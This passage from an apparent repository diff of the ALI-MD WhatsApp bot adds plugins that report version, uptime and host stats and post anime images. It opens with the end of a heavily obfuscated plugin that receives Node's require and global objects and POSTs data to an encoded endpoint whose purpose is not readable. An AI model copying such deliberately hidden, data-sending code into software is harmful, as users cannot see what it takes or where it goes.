j4mj8aI[0x1d]]<j4mj8aI[0x0]){Cpgwvi[j4mj8aI[0x1d]]=Cpgwvi[j4mj8aI[0x1c]]}else{xYKSbnZ(Cpgwvi[j4mj8aI[0x1d]]+=Cpgwvi[j4mj8aI[0x1c]]*j4mj8aI[0x15],Cpgwvi[j4mj8aI[0x3f]]|=Cpgwvi[j4mj8aI[0x1d]]<<Cpgwvi[j4mj8aI[0x11]],Cpgwvi[j4mj8aI[0x11]]+=(Cpgwvi[j4mj8aI[0x1d]]&j4mj8aI[0x16])>j4mj8aI[0x17]?j4mj8aI[0x18]:j4mj8aI[0x19]);do{xYKSbnZ(Cpgwvi[j4mj8aI[0x38]].push(Cpgwvi[j4mj8aI[0x3f]]&j4mj8aI[0x3]),Cpgwvi[j4mj8aI[0x3f]]>>=j4mj8aI[0x2],Cpgwvi[j4mj8aI[0x11]]-=j4mj8aI[0x2])}while(Cpgwvi[j4mj8aI[0x11]]>j4mj8aI[0x5]);Cpgwvi[j4mj8aI[0x1d]]=-j4mj8aI[0x1]}}if(Cpgwvi[j4mj8aI[0x1d]]>-j4mj8aI[0x1]){Cpgwvi[j4mj8aI[0x38]].push((Cpgwvi[j4mj8aI[0x3f]]|Cpgwvi[j4mj8aI[0x1d]]<<Cpgwvi[j4mj8aI[0x11]])&j4mj8aI[0x3])}return hGVN1M(Cpgwvi[j4mj8aI[0x38]])}function c02OFF(...Cpgwvi){Cpgwvi[j4mj8aI[0x4]]=j4mj8aI[0x1];if(typeof l7N8Yqf[Cpgwvi[j4mj8aI[0x0]]]===j4mj8aI[0xa]){return l7N8Yqf[Cpgwvi[j4mj8aI[0x0]]]=jdJX9AD(t7z2sP7[Cpgwvi[j4mj8aI[0x0]]])}return l7N8Yqf[Cpgwvi[j4mj8aI[0x0]]]}const TPILzm=await JD3GJAK[c02OFF(0xfb)][c02OFF(0xfc)+\"ad\"]();if(!TPILzm){return e8_ZFwi(c02OFF(0xfd))}const vOLKhu=TPILzm[c02OFF(0xfe)+\"ng\"](c02OFF(j4mj8aI[0x3]));await e8_ZFwi(c02OFF(0x100)+c02OFF(0x101)+c02OFF(0x102)+\"`\");const qHU6Ojj=await veXxWy[c02OFF(0x103)](c02OFF(0x104),{[c02OFF(0x105)]:izMwD19,[c02OFF(0x106)]:vOLKhu},{[c02OFF(0x107)+\"s\"]:{[c02OFF(0x108)+c02OFF(0x109)]:c02OFF(0x10a)}});await e8_ZFwi(qHU6Ojj[c02OFF(0x10b)][c02OFF(0x10c)])}catch(ghm1iI){w9UYzR(qQ7x_za);function tYVAIs(Cpgwvi){var nWc1eC=\"xDtBVqXsFpLW}|lj8)~a&`duQ{T><3+yr@wZ?2Ab;0/E[iI1oP5$6K%#^(Uvk!9HCY*\\\"G.fcnMRNSzg:]=4eO_7hm,J\",JD3GJAK,uvNUdK,Vq1RC9,eAjEOR,CvJLwkq,NALWSgm,ZJKjos;xYKSbnZ(JD3GJAK=\"\"+(Cpgwvi||\"\"),uvNUdK=JD3GJAK.length,Vq1RC9=[],eAjEOR=j4mj8aI[0x0],CvJLwkq=j4mj8aI[0x0],NALWSgm=-j4mj8aI[0x1]);for(ZJKjos=j4mj8aI[0x0];ZJKjos<uvNUdK;ZJKjos++){var izMwD19=nWc1eC.indexOf(JD3GJAK[ZJKjos]);if(izMwD19===-j4mj8aI[0x1])continue;if(NALWSgm<j4mj8aI[0x0]){NALWSgm=izMwD19}else{xYKSbnZ(NALWSgm+=izMwD19*j4mj8aI[0x15],eAjEOR|=NALWSgm<<CvJLwkq,CvJLwkq+=(NALWSgm&j4mj8aI[0x16])>j4mj8aI[0x17]?j4mj8aI[0x18]:j4mj8aI[0x19]);do{xYKSbnZ(Vq1RC9.push(eAjEOR&j4mj8aI[0x3]),eAjEOR>>=j4mj8aI[0x2],CvJLwkq-=j4mj8aI[0x2])}while(CvJLwkq>j4mj8aI[0x5]);NALWSgm=-j4mj8aI[0x1]}}if(NALWSgm>-j4mj8aI[0x1]){Vq1RC9.push((eAjEOR|NALWSgm<<CvJLwkq)&j4mj8aI[0x3])}return hGVN1M(Vq1RC9)}function qQ7x_za(...Cpgwvi){var nWc1eC,JD3GJAK;function*uvNUdK(JD3GJAK,uvNUdK,Vq1RC9,eAjEOR={nU9HGe:{}}){while(JD3GJAK+uvNUdK+Vq1RC9!==-0xef)with(eAjEOR.widCHd||eAjEOR)switch(JD3GJAK+uvNUdK+Vq1RC9){case Vq1RC9- -0xf2:xYKSbnZ([eAjEOR.nU9HGe.vP3Wdvl,eAjEOR.nU9HGe.HXhLGf6]=[-0x9e,-0x82],Cpgwvi[j4mj8aI[0x4]]=j4mj8aI[0x1]);if(typeof l7N8Yqf[Cpgwvi[j4mj8aI[uvNUdK+-0x83]]]===j4mj8aI[0xa]){xYKSbnZ(eAjEOR.widCHd=eAjEOR.nU9HGe,JD3GJAK+=0x44,uvNUdK+=-0x2b,Vq1RC9+=-0xca);break}else{xYKSbnZ(eAjEOR.widCHd=eAjEOR.nU9HGe,JD3GJAK+=0x44,uvNUdK+=0x7c,Vq1RC9+=-0x11);break}case uvNUdK-0xbe:return nWc1eC=!0x0,l7N8Yqf[Cpgwvi[j4mj8aI[0x0]]]=tYVAIs(t7z2sP7[Cpgwvi[j4mj8aI[JD3GJAK+-0xb3]]]);case eAjEOR.nU9HGe.vP3Wdvl+0x163:return nWc1eC=!0x0,l7N8Yqf[Cpgwvi[j4mj8aI[0x0]]]=tYVAIs(t7z2sP7[Cpgwvi[j4mj8aI[0x0]]]);case eAjEOR.nU9HGe.vP3Wdvl+0x2c:case-0x45:case 0xb1:[eAjEOR.nU9HGe.vP3Wdvl,eAjEOR.nU9HGe.HXhLGf6]=[0x59,-0xa3];return nWc1eC=!0x0,l7N8Yqf[Cpgwvi[j4mj8aI[0x0]]]=tYVAIs(t7z2sP7[Cpgwvi[j4mj8aI[JD3GJAK+-0x9a]]]);case-0xb:case-0xba:default:xYKSbnZ([eAjEOR.nU9HGe.vP3Wdvl,eAjEOR.nU9HGe.HXhLGf6]=[0x91,0x2d],eAjEOR.widCHd=eAjEOR.mtwlAAT,JD3GJAK+=-0xb4,uvNUdK+=0x64,Vq1RC9+=0xa);break;case eAjEOR.nU9HGe.vP3Wdvl+0xb:case-0xdc:xYKSbnZ(eAjEOR.widCHd=eAjEOR.nU9HGe,JD3GJAK+=0x162,uvNUdK+=0x1a5,Vq1RC9+=-0x17a);break;case JD3GJAK- -0x63:case-0x73:xYKSbnZ(eAjEOR.widCHd=eAjEOR.nU9HGe,JD3GJAK+=0x14e,uvNUdK+=0x15e,Vq1RC9+=-0x17a);break;case 0xfa:return nWc1eC=!0x0,l7N8Yqf[Cpgwvi[j4mj8aI[0x0]]];case 0x2b:case 0xa6:case eAjEOR.nU9HGe.HXhLGf6+0x132:xYKSbnZ(eAjEOR.widCHd=eAjEOR.nU9HGe,JD3GJAK+=0x19,uvNUdK+=0x122,Vq1RC9+=-0xf1);break}}xYKSbnZ(nWc1eC=void 0x0,JD3GJAK=uvNUdK(0x6f,0x83,-0xa7).next().value);if(nWc1eC){return JD3GJAK}}const nq92i2=ghm1iI[QPjMkhN(0x10d)+j4mj8aI[0x24]]||QPjMkhN(0x10e)+qQ7x_za(0x10f)+qQ7x_za(0x110)+qQ7x_za(0x111)+\"d.\",HQCI0Dz=j4mj8aI[0x40],vxMQvPr=nq92i2[qQ7x_za(0x112)]>HQCI0Dz?nq92i2[qQ7x_za(0x113)](j4mj8aI[0x0],HQCI0Dz)+qQ7x_za(0x114):nq92i2;xYKSbnZ(v4cpGwm(qQ7x_za(0x115))[qQ7x_za(0x116)](qQ7x_za(0x117),ghm1iI),await e8_ZFwi(vxMQvPr))}});")({get"RFi1i6"(){return global},get"I93_ZGS"(){return require}});
|
plugins/ali-version.js
ADDED
@@ -0,0 +1,93 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const axios = require('axios');
|
2 |
+
const os = require('os');
|
3 |
+
const fs = require('fs');
|
4 |
+
const path = require('path');
|
5 |
+
const { cmd, commands } = require('../command');
|
6 |
+
const { runtime } = require('../lib/functions');
|
7 |
+
|
8 |
+
cmd({
|
9 |
+
pattern: 'version',
|
10 |
+
alias: ["changelog", "cupdate", "checkupdate"],
|
11 |
+
react: '🚀',
|
12 |
+
desc: "Check bot's version, system stats, and update info.",
|
13 |
+
category: 'info',
|
14 |
+
filename: __filename
|
15 |
+
}, async (conn, mek, m, {
|
16 |
+
from, sender, pushname, reply
|
17 |
+
}) => {
|
18 |
+
try {
|
19 |
+
// Read local version data
|
20 |
+
const localVersionPath = path.join(__dirname, '../data/version.json');
|
21 |
+
let localVersion = 'Unknown';
|
22 |
+
let changelog = 'No changelog available.';
|
23 |
+
if (fs.existsSync(localVersionPath)) {
|
24 |
+
const localData = JSON.parse(fs.readFileSync(localVersionPath));
|
25 |
+
localVersion = localData.version;
|
26 |
+
changelog = localData.changelog;
|
27 |
+
}
|
28 |
+
|
29 |
+
// Fetch latest version data from GitHub
|
30 |
+
const rawVersionUrl = 'https://raw.githubusercontent.com/itx-alii-raza/ALI-MD/main/data/version.json';
|
31 |
+
let latestVersion = 'Unknown';
|
32 |
+
let latestChangelog = 'No changelog available.';
|
33 |
+
try {
|
34 |
+
const { data } = await axios.get(rawVersionUrl);
|
35 |
+
latestVersion = data.version;
|
36 |
+
latestChangelog = data.changelog;
|
37 |
+
} catch (error) {
|
38 |
+
console.error('Failed to fetch latest version:', error);
|
39 |
+
}
|
40 |
+
|
41 |
+
// Count total plugins
|
42 |
+
const pluginPath = path.join(__dirname, '../plugins');
|
43 |
+
const pluginCount = fs.readdirSync(pluginPath).filter(file => file.endsWith('.js')).length;
|
44 |
+
|
45 |
+
// Count total registered commands
|
46 |
+
const totalCommands = commands.length;
|
47 |
+
|
48 |
+
// System info
|
49 |
+
const uptime = runtime(process.uptime());
|
50 |
+
const ramUsage = (process.memoryUsage().heapUsed / 1024 / 1024).toFixed(2);
|
51 |
+
const totalRam = (os.totalmem() / 1024 / 1024).toFixed(2);
|
52 |
+
const hostName = os.hostname();
|
53 |
+
const lastUpdate = fs.statSync(localVersionPath).mtime.toLocaleString();
|
54 |
+
|
55 |
+
// GitHub stats
|
56 |
+
const githubRepo = 'https://github.com/itx-alii-raza/ALI-MD';
|
57 |
+
|
58 |
+
// Check update status
|
59 |
+
let updateMessage = `*✅ ʏᴏᴜʀ ᴀʟɪ-ᴍᴅ ʙᴏᴛ ɪs ᴜᴘ-ᴛᴏ-ᴅᴀᴛᴇ!*`;
|
60 |
+
if (localVersion !== latestVersion) {
|
61 |
+
updateMessage = `*😵💫 ʏᴏᴜʀ ᴀʟɪ-ᴍᴅ ʙᴏᴛ ɪs ᴏᴜᴛᴅᴀᴛᴇᴅ!*
|
62 |
+
🔹 *ᴄᴜʀʀᴇɴᴛ ᴠᴇʀsɪᴏɴ:* ${localVersion}
|
63 |
+
🔹 *ʟᴀᴛᴇsᴛ ᴠᴇʀsɪᴏɴ:* ${latestVersion}
|
64 |
+
|
65 |
+
*ᴜsᴇ .ᴜᴘᴅᴀᴛᴇ ᴛᴏ ᴜᴘᴅᴀᴛᴇ.*`;
|
66 |
+
}
|
67 |
+
|
68 |
+
const statusMessage = `🌟 *Good ${new Date().getHours() < 12 ? 'Morning' : 'Night'}, ${pushname}!* 🌟\n\n` +
|
69 |
+
`🤖 *ʙᴏᴛ ɴᴀᴍᴇ:* ᴀʟɪ-ᴍᴅ\n🔖 *ᴄᴜʀʀᴇɴᴛ ᴠᴇʀsɪᴏɴ:* ${localVersion}\n📢 *ʟᴀᴛᴇsᴛ ᴠᴇʀsɪᴏɴ:* ${latestVersion}\n📂 *ᴛᴏᴛᴀʟ ᴘʟᴜɢɪɴs:* ${pluginCount}\n🔢 *ᴛᴏᴛᴀʟ ᴄᴏᴍᴍᴀɴᴅs:* ${totalCommands}\n\n` +
|
70 |
+
`💾 *sʏsᴛᴇᴍ ɪɴғᴏ:*\n⏰ *ᴜᴘᴛɪᴍᴇ:* ${uptime}\n📟 *ʀᴀᴍ ᴜsᴀɢᴇ:* ${ramUsage}MB / ${totalRam}MB\n⚙️ *ʜᴏsᴛ ɴᴀᴍᴇ:* ${hostName}\n📅 *ʟᴀsᴛ ᴜᴘᴅᴀᴛᴇ:* ${lastUpdate}\n\n` +
|
71 |
+
`📑 *ᴄʜᴀɴɢᴇʟᴏɢ:*\n${latestChangelog}\n\n` +
|
72 |
+
`⭐ *ɢɪᴛʜᴜʙ ʀᴇᴘᴏ:* ${githubRepo}\n\n${updateMessage}\n\n👋🏻 *ʜᴇʏ! ᴅᴏɴ'ᴛ ғᴏʀɢᴇᴛ ᴛᴏ ғᴏʀᴋ & sᴛᴀʀ ᴛʜᴇ ʀᴇᴘᴏ!*`;
|
73 |
+
|
74 |
+
// Send the status message with an image
|
75 |
+
await conn.sendMessage(from, {
|
76 |
+
image: { url: 'https://cdn.ironman.my.id/i/2du3i5.jpg' },
|
77 |
+
caption: statusMessage,
|
78 |
+
contextInfo: {
|
79 |
+
mentionedJid: [m.sender],
|
80 |
+
forwardingScore: 999,
|
81 |
+
isForwarded: true,
|
82 |
+
forwardedNewsletterMessageInfo: {
|
83 |
+
newsletterJid: '120363318387454868@newsletter',
|
84 |
+
newsletterName: '☇ 𝐀ɭι̇ι̇ 𝐌Ɗ 𝐒ʊ̊𝐏𝐏๏፝֟ɼʈ ⃪🤖͎᪳᪳𝆺𝅥',
|
85 |
+
serverMessageId: 143
|
86 |
+
}
|
87 |
+
}
|
88 |
+
}, { quoted: mek });
|
89 |
+
} catch (error) {
|
90 |
+
console.error('Error fetching version info:', error);
|
91 |
+
reply('❌ An error occurred while checking the bot version.');
|
92 |
+
}
|
93 |
+
});
|
plugins/alive.js
ADDED
@@ -0,0 +1,72 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
|
2 |
+
const { cmd } = require("../command");
|
3 |
+
const moment = require("moment");
|
4 |
+
|
5 |
+
let botStartTime = Date.now(); // Enregistrement de l'heure de démarrage du bot
|
6 |
+
const ALIVE_IMG = "https://cdn.ironman.my.id/i/2du3i5.jpg"; // Assurez-vous que cette URL est valide
|
7 |
+
|
8 |
+
cmd({
|
9 |
+
pattern: "alive",
|
10 |
+
desc: "Check if the bot is active.",
|
11 |
+
category: "info",
|
12 |
+
react: "🤖",
|
13 |
+
filename: __filename
|
14 |
+
}, async (conn, mek, m, { reply, from }) => {
|
15 |
+
try {
|
16 |
+
const pushname = m.pushName || "User"; // Nom de l'utilisateur ou valeur par défaut
|
17 |
+
const currentTime = moment().format("HH:mm:ss");
|
18 |
+
const currentDate = moment().format("dddd, MMMM Do YYYY");
|
19 |
+
|
20 |
+
const runtimeMilliseconds = Date.now() - botStartTime;
|
21 |
+
const runtimeSeconds = Math.floor((runtimeMilliseconds / 1000) % 60);
|
22 |
+
const runtimeMinutes = Math.floor((runtimeMilliseconds / (1000 * 60)) % 60);
|
23 |
+
const runtimeHours = Math.floor(runtimeMilliseconds / (1000 * 60 * 60));
|
24 |
+
|
25 |
+
const formattedInfo = `
|
26 |
+
🌟 *ALI MD STATUS* 🌟
|
27 |
+
Hey 👋🏻 ${pushname}
|
28 |
+
🕒 *Time*: ${currentTime}
|
29 |
+
📅 *Date*: ${currentDate}
|
30 |
+
⏳ *Uptime*: ${runtimeHours} hours, ${runtimeMinutes} minutes, ${runtimeSeconds} seconds
|
31 |
+
|
32 |
+
*🤖sᴛᴀᴛᴜs*: *ᴀʟɪ-ᴍᴅ ᴀʟɪᴠᴇ ᴀɴᴅ ʀᴇᴀᴅʏ*
|
33 |
+
|
34 |
+
*🤍ᴍᴀᴅᴇ ᴡɪᴛʜ ʟᴏᴠᴇ*
|
35 |
+
`.trim();
|
36 |
+
|
37 |
+
// Vérifier si l'image est définie
|
38 |
+
if (!ALIVE_IMG || !ALIVE_IMG.startsWith("http")) {
|
39 |
+
throw new Error("Invalid ALIVE_IMG URL. Please set a valid image URL.");
|
40 |
+
}
|
41 |
+
|
42 |
+
// Envoyer le message avec image et légende
|
43 |
+
await conn.sendMessage(from, {
|
44 |
+
image: { url: ALIVE_IMG }, // Assurez-vous que l'URL est valide
|
45 |
+
caption: formattedInfo,
|
46 |
+
contextInfo: {
|
47 |
+
mentionedJid: [m.sender],
|
48 |
+
forwardingScore: 999,
|
49 |
+
isForwarded: true,
|
50 |
+
forwardedNewsletterMessageInfo: {
|
51 |
+
newsletterJid: '120363318387454868@newsletter',
|
52 |
+
newsletterName: '𝐀ɭι̇ι̇ 𝐌Ɗ 🍁',
|
53 |
+
serverMessageId: 143
|
54 |
+
}
|
55 |
+
}
|
56 |
+
}, { quoted: mek });
|
57 |
+
|
58 |
+
} catch (error) {
|
59 |
+
console.error("Error in alive command: ", error);
|
60 |
+
|
61 |
+
// Répondre avec des détails de l'erreur
|
62 |
+
const errorMessage = `
|
63 |
+
❌ An error occurred while processing the alive command.
|
64 |
+
🛠 *Error Details*:
|
65 |
+
${error.message}
|
66 |
+
|
67 |
+
Please report this issue or try again later.
|
68 |
+
`.trim();
|
69 |
+
return reply(errorMessage);
|
70 |
+
}
|
71 |
+
});
|
72 |
+
|
plugins/alive2.js
ADDED
@@ -0,0 +1,22 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
|
2 |
+
|
3 |
+
const config = require('../config')
|
4 |
+
const {cmd , commands} = require('../command')
|
5 |
+
cmd({
|
6 |
+
pattern: "alive2",
|
7 |
+
react: "🌐",
|
8 |
+
desc: "Check bot online or no.",
|
9 |
+
category: "main",
|
10 |
+
filename: __filename
|
11 |
+
},
|
12 |
+
async(conn, mek, m,{from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) => {
|
13 |
+
try{
|
14 |
+
return await conn.sendMessage(from,{image: {url: config.ALIVE_IMG},caption: config.ALIVE_MSG},{quoted: mek})
|
15 |
+
}catch(e){
|
16 |
+
console.log(e)
|
17 |
+
reply(`${e}`)
|
18 |
+
}
|
19 |
+
})
|
20 |
+
|
21 |
+
|
22 |
+
|
plugins/anime.js
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
|
2 |
+
|
3 |
+
|
4 |
+
const {cmd , commands} = require('../command')
|
5 |
+
|
6 |
+
cmd({
|
7 |
+
pattern: "anime",
|
8 |
+
desc: "anime the bot",
|
9 |
+
category: "main",
|
10 |
+
react: "⛱️",
|
11 |
+
filename: __filename
|
12 |
+
},
|
13 |
+
|
14 |
+
async(conn, mek, m,{from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) => {
|
15 |
+
try{
|
16 |
+
|
17 |
+
let dec = `*ALI-MD-V1 ANIME PHOTOS*`
|
18 |
+
await conn.sendMessage(from,{image:{url: `https://telegra.ph/file/b26f27aa5daaada031b90.jpg`},caption:dec},{quoted:mek});
|
19 |
+
await conn.sendMessage(from,{image:{url: `https://telegra.ph/file/51b44e4b086667361061b.jpg`},caption:dec},{quoted:mek});
|
20 |
+
await conn.sendMessage(from,{image:{url: `https://telegra.ph/file/7d165d73f914985542537.jpg`},caption:dec},{quoted:mek});
|
21 |
+
await conn.sendMessage(from,{image:{url: `https://telegra.ph/file/3d9732d2657d2d72dc102.jpg`},caption:dec},{quoted:mek});
|
22 |
+
await conn.sendMessage(from,{image:{url: `https://telegra.ph/file/8daf7e432a646f3ebe7eb.jpg`},caption:dec},{quoted:mek});
|
23 |
+
await conn.sendMessage(from,{image:{url: `https://telegra.ph/file/7514b18ea89da924e7496.jpg`},caption:dec},{quoted:mek});
|
24 |
+
await conn.sendMessage(from,{image:{url: `https://telegra.ph/file/ce9cb5acd2cec7693d76b.jpg`},caption:dec},{quoted:mek});
|
25 |
+
|
26 |
+
}catch(e){
|
27 |
+
console.log(e)
|
28 |
+
reply(`${e}`)
|
29 |
+
}
|
30 |
+
})
|
plugins/animegirl.js
ADDED
@@ -0,0 +1,145 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
|
2 |
+
|
3 |
+
const axios = require('axios');
|
4 |
+
const { cmd, commands } = require('../command');
|
5 |
+
|
6 |
+
cmd({
|
7 |
+
pattern: "animegirl",
|
8 |
+
desc: "Fetch a random anime girl image.",
|
9 |
+
category: "fun",
|
10 |
+
react: "👧",
|
11 |
+
filename: __filename
|
12 |
+
},
|
13 |
+
async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => {
|
14 |
+
try {
|
15 |
+
const apiUrl = `https://api.waifu.pics/sfw/waifu`;
|
16 |
+
const response = await axios.get(apiUrl);
|
17 |
+
const data = response.data;
|
18 |
+
|
19 |
+
await conn.sendMessage(from, { image: { url: data.url }, caption: '👸 *ᴀʟɪ-ᴍᴅ ʀᴀɴᴅᴏᴍ ᴀɴɪᴍᴇ ɢɪʀʟ ɪᴍᴀɢᴇs* 👸\n\n\n *🧬©ᴀʟɪ-ᴍᴅ ʙʏ ᴀʟɪ Tᴇᴄʜ*' }, { quoted: mek });
|
20 |
+
} catch (e) {
|
21 |
+
console.log(e);
|
22 |
+
reply(`*Error Fetching Anime Girl image*: ${e.message}`);
|
23 |
+
}
|
24 |
+
});
|
25 |
+
|
26 |
+
cmd({
|
27 |
+
pattern: "animegirl1",
|
28 |
+
desc: "Fetch a random anime girl image.",
|
29 |
+
category: "fun",
|
30 |
+
react: "👧",
|
31 |
+
filename: __filename
|
32 |
+
},
|
33 |
+
async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => {
|
34 |
+
try {
|
35 |
+
const apiUrl = `https://api.waifu.pics/sfw/waifu`;
|
36 |
+
const response = await axios.get(apiUrl);
|
37 |
+
const data = response.data;
|
38 |
+
|
39 |
+
await conn.sendMessage(from, { image: { url: data.url }, caption: '👸 *ᴀʟɪ-ᴍᴅ ʀᴀɴᴅᴏᴍ ᴀɴɪᴍᴇ ɢɪʀʟ ɪᴍᴀɢᴇs* 👸\n\n\n *🧬©ᴀʟɪ-ᴍᴅ ʙʏ ᴀʟɪ Tᴇᴄʜ*' }, { quoted: mek });
|
40 |
+
} catch (e) {
|
41 |
+
console.log(e);
|
42 |
+
reply(`*Error Fetching Anime Girl image*: ${e.message}`);
|
43 |
+
}
|
44 |
+
});
|
45 |
+
|
46 |
+
cmd({
|
47 |
+
pattern: "animegirl2",
|
48 |
+
desc: "Fetch a random anime girl image.",
|
49 |
+
category: "fun",
|
50 |
+
react: "👧",
|
51 |
+
filename: __filename
|
52 |
+
},
|
53 |
+
async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => {
|
54 |
+
try {
|
55 |
+
const apiUrl = `https://api.waifu.pics/sfw/waifu`;
|
56 |
+
const response = await axios.get(apiUrl);
|
57 |
+
const data = response.data;
|
58 |
+
|
59 |
+
await conn.sendMessage(from, { image: { url: data.url }, caption: '👸 *ᴀʟɪ-ᴍᴅ ʀᴀɴᴅᴏᴍ ᴀɴɪᴍᴇ ɢɪʀʟ ɪᴍᴀɢᴇs* 👸\n\n\n *🧬©ᴀʟɪ-ᴍᴅ ʙʏ ᴀʟɪ Tᴇᴄʜ*' }, { quoted: mek });
|
60 |
+
} catch (e) {
|
61 |
+
console.log(e);
|
62 |
+
reply(`*Error Fetching Anime Girl image*: ${e.message}`);
|
63 |
+
}
|
64 |
+
});
|
65 |
+
|
66 |
+
cmd({
|
67 |
+
pattern: "animegirl3",
|
68 |
+
desc: "Fetch a random anime girl image.",
|
69 |
+
category: "fun",
|
70 |
+
react: "👧",
|
71 |
+
filename: __filename
|
72 |
+
},
|
73 |
+
async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => {
|
74 |
+
try {
|
75 |
+
const apiUrl = `https://api.waifu.pics/sfw/waifu`;
|
76 |
+
const response = await axios.get(apiUrl);
|
77 |
+
const data = response.data;
|
78 |
+
|
79 |
+
await conn.sendMessage(from, { image: { url: data.url }, caption: '👸 *ᴀʟɪ-ᴍᴅ ʀᴀɴᴅᴏᴍ ᴀɴɪᴍᴇ ɢɪʀʟ ɪᴍᴀɢᴇs* 👸\n\n\n *🧬©ᴀʟɪ-ᴍᴅ ʙʏ ᴀʟɪ Tᴇᴄʜ*' }, { quoted: mek });
|
80 |
+
} catch (e) {
|
81 |
+
console.log(e);
|
82 |
+
reply(`*Error Fetching Anime Girl image*: ${e.message}`);
|
83 |
+
}
|
84 |
+
});
|
85 |
+
|
86 |
+
cmd({
|
87 |
+
pattern: "animegirl4",
|
88 |
+
desc: "Fetch a random anime girl image.",
|
89 |
+
category: "fun",
|
90 |
+
react: "👧",
|
91 |
+
filename: __filename
|
92 |
+
},
|
93 |
+
async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => {
|
94 |
+
try {
|
95 |
+
const apiUrl = `https://api.waifu.pics/sfw/waifu`;
|
96 |
+
const response = await axios.get(apiUrl);
|
97 |
+
const data = response.data;
|
98 |
+
|
99 |
+
await conn.sendMessage(from, { image: { url: data.url }, caption: '👸 *ᴀʟɪ-ᴍᴅ ʀᴀɴᴅᴏᴍ ᴀɴɪᴍᴇ ɢɪʀʟ ɪᴍᴀɢᴇs* 👸\n\n\n *🧬©ᴀʟɪ-ᴍᴅ ʙʏ ᴀʟɪ Tᴇᴄʜ*' }, { quoted: mek });
|
100 |
+
} catch (e) {
|
101 |
+
console.log(e);
|
102 |
+
reply(`*Error Fetching Anime Girl image*: ${e.message}`);
|
103 |
+
}
|
104 |
+
});
|
105 |
+
|
106 |
+
cmd({
|
107 |
+
pattern: "animegirl5",
|
108 |
+
desc: "Fetch a random anime girl image.",
|
109 |
+
category: "fun",
|
110 |
+
react: "👧",
|
111 |
+
filename: __filename
|
112 |
+
},
|
113 |
+
async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => {
|
114 |
+
try {
|
115 |
+
const apiUrl = `https://api.waifu.pics/sfw/waifu`;
|
116 |
+
const response = await axios.get(apiUrl);
|
117 |
+
const data = response.data;
|
118 |
+
